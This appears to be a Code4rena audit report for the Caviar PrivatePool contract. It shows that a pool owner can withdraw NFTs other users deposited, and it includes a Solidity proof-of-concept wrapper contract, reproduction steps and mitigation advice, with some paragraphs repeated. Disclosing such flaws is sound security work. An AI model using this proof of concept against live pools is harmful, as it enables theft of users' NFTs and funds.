In the code provided, I initiate a private pool contract using a PoolOwner wrapper contract.
I mint three nfts, 2 to the privatePool via the PoolOwnerContract, 1 to an EOA.
Deposit the 1 nft from the EOA into the privatePool using EthRouter.
call the wrapper contracts withdraw function which withdraws all eth and all 3 nfts back to the wrapper contract. The console logs will show that the PoolOwnerContract is now the owner of all three nfts.
Proof of Concept
PoolOwner.sol
pragma solidity ^0.8.19;
import "solmate/tokens/ERC721.sol";
import './Factory.sol';
import './PrivatePool.sol';
contract PoolOwner is ERC721TokenReceiver {
address public owner;
address payable public factory;
address payable public pool;
constructor(address _factory) {
owner = msg.sender;
factory = payable(_factory);
}
function create(
address _baseToken,
address _nft,
uint128 _virtualBaseTokenReserves,
uint128 _virtualNftReserves,
uint56 _changeFee,
uint16 _feeRate,
bytes32 _merkleRoot,
bool _useStolenNftOracle,
bool _payRoyalties,
bytes32 _salt,
uint256[] memory tokenIds, // put in memory to avoid stack too deep error
uint256 baseTokenAmount
) external payable {
pool = payable(Factory(factory).predictPoolDeploymentAddress(_salt));
ERC721(_nft).setApprovalForAll(factory, true);
Factory(factory).create{value: msg.value}(_baseToken, _nft, _virtualBaseTokenReserves, _virtualNftReserves, _changeFee, _feeRate, _merkleRoot, _useStolenNftOracle, _payRoyalties, _salt, tokenIds, baseTokenAmount) ;
}
function withdraw(address _nft, uint256[] calldata tokenIds, address token, uint256 tokenAmount) external payable {
PrivatePool(pool).withdraw(_nft, tokenIds, token, tokenAmount);
}
receive() external payable {}
}
mitigation depends on intent. If anyone should be allowed to deposit into a private pool, then the withdraw function needs to lose the onlyOwner modifier, and be rewritten to only withdraw nfts and eth owned by an account. if only the owner should be allowed to deposit, then add the onlyOwner modifier to the deposit function.
Lines of code
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L514
Vulnerability details
Impact
In the code provided, I initiate a private pool contract using a PoolOwner wrapper contract. I mint three nfts, 2 to the privatePool via the PoolOwnerContract, 1 to an EOA. Deposit the 1 nft from the EOA into the privatePool using EthRouter. call the wrapper contracts withdraw function which withdraws all eth and all 3 nfts back to the wrapper contract. The console logs will show that the PoolOwnerContract is now the owner of all three nfts.
Proof of Concept
PoolOwner.sol
OwnerTakesAll.ts
Tools Used
vscode, hardhat
Recommended Mitigation Steps
mitigation depends on intent. If anyone should be allowed to deposit into a private pool, then the withdraw function needs to lose the onlyOwner modifier, and be rewritten to only withdraw nfts and eth owned by an account. if only the owner should be allowed to deposit, then add the onlyOwner modifier to the deposit function.